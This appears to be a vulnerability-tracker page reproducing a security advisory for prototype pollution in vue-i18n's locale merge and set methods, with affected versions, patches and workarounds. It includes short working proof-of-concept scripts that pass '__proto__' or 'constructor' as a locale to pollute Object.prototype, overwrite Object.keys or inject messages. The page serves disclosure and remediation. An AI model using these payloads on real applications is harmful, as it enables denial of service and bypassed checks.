NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

Vue I18n: Prototype Pollution via the `locale` argument of `mergeLocaleMessage`, `mergeDateTimeFormat` and `mergeNumberFormat`GHSA-mp7h-j8pr-w35w

HIGHFix: intlify/vue-i18n#2681

GHSA-mp7h-j8pr-w35w is a high-severity (CVSS 7.3) CWE-915 vulnerability in vue-i18n. A fix is available for vue-i18n — see the affected versions and patch details below.

Also known asCVE-2026-144409
Published
Updated
Affected
8 pkgs
Patched
6 / 8
Exploits
None indexed
Exploitation data as of Dec 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-mp7h-j8pr-w35w.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

8 pkgs affected
📦vue-i18n📦vue-i18n📦vue-i18n📦petite-vue-i18n📦petite-vue-i18n📦@intlify/vue-i18n-core📦@intlify/vue-i18n-core📦vue-i18n-bridge

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

In vue-i18n v9 and later, mergeLocaleMessage(), mergeDateTimeFormat() and mergeNumberFormat() look up the entry to merge into with container[locale]. When the locale is the name of a property inherited from Object.prototype, this lookup returns a built-in object, and the methods write into it:

  • With '__proto__', all three methods write into Object.prototype.
  • With 'constructor', mergeDateTimeFormat() and mergeNumberFormat() write into the global Object. A format with a key such as keys replaces Object.keys.
  • With the names of most other Object.prototype methods, such as 'toString', mergeDateTimeFormat() and mergeNumberFormat() write into those built-in functions.

setLocaleMessage(), setDateTimeFormat() and setNumberFormat() do not write into built-in objects, but with '__proto__' they replace the prototype of the container: the messages, datetimeFormats or numberFormats object passed to createI18n() or useI18n(), which vue-i18n uses as is, without copying. The given object then supplies messages or formats for locales that have none of their own, in every instance that uses the same object.

An application that passes an untrusted value as the locale (for example, one taken from a URL parameter, a cookie or the Accept-Language header) lets an attacker pollute the global prototype chain, modify built-in objects, or inject messages. useI18n({ useScope: 'global' }) passes the keys of its messages, datetimeFormats and numberFormats options to these methods as locales, so untrusted keys there (for example, from JSON.parse) have the same effect.

This affects the methods of the global and local composers (i18n.global, useI18n()) and of the Legacy API VueI18n instance (v9 to v11), in server-side rendering and in the browser. Stable releases of petite-vue-i18n have no datetime or number format APIs, so only mergeLocaleMessage() and setLocaleMessage() with '__proto__' apply there.

vue-i18n v7 and v8 (for Vue 2) and vue-i18n-bridge are also affected:

  • From vue-i18n 7.0.2, mergeDateTimeFormat() and mergeNumberFormat() write into built-in objects, and so does mergeLocaleMessage() up to 8.15.2.
  • From vue-i18n 7.0.0 to 7.6.0, setLocaleMessage(), setDateTimeFormat() and setNumberFormat() with '__proto__' replace the prototype of the container, as described above. In 7.0.0 and 7.0.1, mergeLocaleMessage() with '__proto__' does the same.
  • vue-i18n-bridge is affected through mergeDateTimeFormat(), mergeNumberFormat() and the three setters.

Details

The three methods look up the object to merge into with container[locale], and then copy into it (composer.ts in v11.4.13):

function mergeLocaleMessage(locale, message) {
  _messages.value[locale] = _messages.value[locale] || {}
  // ...
  deepCopy(message, _messages.value[locale])
}

function mergeDateTimeFormat(locale, format) {
  _datetimeFormats.value[locale] = assign(_datetimeFormats.value[locale] || {}, format)
  // ...
}

function mergeNumberFormat(locale, format) {
  _numberFormats.value[locale] = assign(_numberFormats.value[locale] || {}, format)
  // ...
}

The containers are ordinary objects, so container[locale] also finds properties inherited from Object.prototype:

  • For '__proto__', the lookup goes through the __proto__ accessor and returns Object.prototype. deepCopy() and assign() (Object.assign) then copy the given keys onto Object.prototype. deepCopy() skips __proto__ keys in its source (the fix for CVE-2024-52810), but it does not check its destination.
  • For 'constructor', the lookup returns the global Object, and assign() copies the given keys onto it. For 'toString', 'valueOf' and most other methods of Object.prototype, it returns that built-in function. When the containers are Vue reactive proxies, as in the browser, Vue 3.2.46 and later return their own wrapper for 'hasOwnProperty', so that name writes into the wrapper instead. mergeLocaleMessage() throws Invalid value for these names, because deepCopy() throws when its destination is not an object.

setLocaleMessage(), setDateTimeFormat() and setNumberFormat() assign with container[locale] = value. For '__proto__', this calls the __proto__ setter, which replaces the prototype of the container with the given object. The container is the object the application passed in, so every instance that uses the same object sees the change.

v7, and v8 up to 8.3.0, merge with Vue.util.extend(this._vm.dateTimeFormats[locale] || {}, format), and 8.3.1 and later with merge(this._vm.dateTimeFormats[locale] || {}, format) (the same for number formats). Both write into their first argument. From 7.0.2 to 8.15.2, mergeLocaleMessage() also merges into this._vm.messages[locale] || {}; 8.15.3 changed it to merge into a new object. Up to 7.6.0, the setters assign with this._vm.messages[locale] = message and so on; 7.7.0 changed them to this._vm.$set(). vue-i18n-bridge uses the composer above, but its mergeLocaleMessage() passes the call to the vue-i18n v8 instance it wraps before copying, and that instance stores a new object for the locale, so only the other methods are affected.

PoC

'__proto__' with mergeLocaleMessage():

npm install [email protected] vue
node poc.mjs

Output:

Before Attack:  {}
After Attack:  {"pollutedKey":123}
// poc.mjs
import { createI18n } from 'vue-i18n'

const i18n = createI18n({ legacy: false, locale: 'en', messages: { en: {} } })

// e.g. a locale taken from a URL parameter such as `?lang=__proto__`
const lang = '__proto__'

console.log('Before Attack: ', JSON.stringify({}.__proto__))
i18n.global.mergeLocaleMessage(lang, { pollutedKey: 123 })
console.log('After Attack: ', JSON.stringify({}.__proto__))

delete Object.prototype.pollutedKey

mergeDateTimeFormat('__proto__', format) and mergeNumberFormat('__proto__', format) pollute Object.prototype in the same way.

'constructor' with mergeDateTimeFormat():

node poc-constructor.mjs

Output:

Before Attack:  function
After Attack:  object
TypeError: Object.keys is not a function
// poc-constructor.mjs
import { createI18n } from 'vue-i18n'

const i18n = createI18n({ legacy: false, locale: 'en', messages: { en: {} } })

// e.g. a locale taken from a URL parameter such as `?lang=constructor`
const lang = 'constructor'

console.log('Before Attack: ', typeof Object.keys)
i18n.global.mergeDateTimeFormat(lang, { keys: { year: 'numeric' } })
console.log('After Attack: ', typeof Object.keys)

try {
  Object.keys({})
} catch (error) {
  console.log(String(error))
}

mergeNumberFormat('constructor', format) has the same effect.

'__proto__' with setLocaleMessage():

node poc-set.mjs

Output:

Before Attack:  hello
After Attack:  injected
// poc-set.mjs
import { createI18n } from 'vue-i18n'

const i18n = createI18n({
  legacy: false,
  locale: 'ja',
  fallbackLocale: 'en',
  missingWarn: false,
  fallbackWarn: false,
  messages: { en: { hello: 'hello' } }
})

console.log('Before Attack: ', i18n.global.t('hello'))
// e.g. a locale taken from a URL parameter such as `?lang=__proto__`
i18n.global.setLocaleMessage('__proto__', { ja: { hello: 'injected' } })
console.log('After Attack: ', i18n.global.t('hello'))

Impact

Applications are affected when an attacker can control the locale argument of these methods, or the keys of the messages, datetimeFormats or numberFormats options of useI18n({ useScope: 'global' }). For example, an application that loads messages for the locale in the URL:

// e.g. /:lang/... routes
const lang = route.params.lang // attacker-controlled
const messages = await fetch(`/api/messages/${lang}`).then(res => res.json())
i18n.global.mergeLocaleMessage(lang, messages)
  • With '__proto__', the keys of the merged object end up on Object.prototype, even when the attacker does not control that object. Almost every object in the page inherits them, and during server-side rendering, so does every later request in the same process.
  • With 'constructor' (mergeDateTimeFormat() and mergeNumberFormat(), and in vue-i18n 7.0.2 to 8.15.2 also mergeLocaleMessage()), the keys of the merged object end up on the global Object. If the attacker also controls that object, they can replace methods such as Object.keys and break the page or the server process.
  • With other names, such as 'toString', the keys of the merged object end up on that built-in function. If the attacker also controls that object, they can, for example, shadow Object.prototype.toString.call, which Vue and vue-i18n use, and break the page or the server process.
  • With '__proto__', the setters let the given object supply messages or formats for locales that have none of their own, in every instance that shares the same messages, datetimeFormats or numberFormats object. During server-side rendering, this can include later requests from other users.

Depending on the application and its dependencies, this can lead to denial of service, bypassed checks, or worse through prototype pollution gadgets.

Workarounds

If you cannot upgrade yet, for example because you are on v7 to v10 or use vue-i18n-bridge:

  • Check the locale against the locales your application supports before passing it to these methods, including setLocaleMessage(), setDateTimeFormat() and setNumberFormat().
  • Do not pass untrusted objects as the messages, datetimeFormats or numberFormats options of useI18n({ useScope: 'global' }).
const SUPPORTED_LOCALES = ['en', 'ja']

if (SUPPORTED_LOCALES.includes(lang)) {
  i18n.global.mergeLocaleMessage(lang, messages)
}

Patches

TBD: fixed in the v11 and v12 alpha releases of vue-i18n, petite-vue-i18n and @intlify/vue-i18n-core. The fix also covers setLocaleMessage(), setDateTimeFormat() and setNumberFormat().

v7 to v10 and vue-i18n-bridge are no longer supported and will not be fixed. Please migrate to v11.

Related

Affected Packages

8 total 6 fixed
EcosystemPackageVulnerable rangeFix
📦npmvue-i18n≥ 7.0.0No fix
📦npmvue-i18n≥ 9.0.0&&< 11.4.1411.4.14npm install vue-i18n@11.4.14
📦npmvue-i18n≥ 12.0.0-alpha.1&&< 12.0.0-alpha.512.0.0-alpha.5npm install vue-i18n@12.0.0-alpha.5
📦npmpetite-vue-i18n≥ 9.2.0-alpha.7&&< 11.4.1411.4.14npm install petite-vue-i18n@11.4.14
📦npmpetite-vue-i18n≥ 12.0.0-alpha.1&&< 12.0.0-alpha.512.0.0-alpha.5npm install petite-vue-i18n@12.0.0-alpha.5
📦npm@intlify/vue-i18n-core≥ 9.2.0-alpha.7&&< 11.4.1411.4.14npm install @intlify/vue-i18n-core@11.4.14

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vue-i18n, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    A fix is available for GHSA-mp7h-j8pr-w35w; check the affected-versions list above or the advisory for the patched release of vue-i18n, then make sure no transitive dependency still pins the vulnerable range.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

### Summary In vue-i18n v9 and later, `mergeLocaleMessage()`, `mergeDateTimeFormat()` and `mergeNumberFormat()` look up the entry to merge into with `container[locale]`. When the locale is the name of a property inherited from `Object.prototype`, this lookup returns a built-in object, and the methods write into it: - With `'__proto__'`, all three methods write into `Object.prototype`. - With `'constructor'`, `mergeDateTimeFormat()` and `mergeNumberFormat()` write into the global `Object`. A format with a key such as `keys` replaces `Object.keys`. - With the names of most other `Object.protot
O3 Security · Impact-Aware SCA

Is GHSA-mp7h-j8pr-w35w in your dependencies?

Find it across npm, including transitive dependencies.

Vue I18n: Prototype Pollution via the `locale` argument of…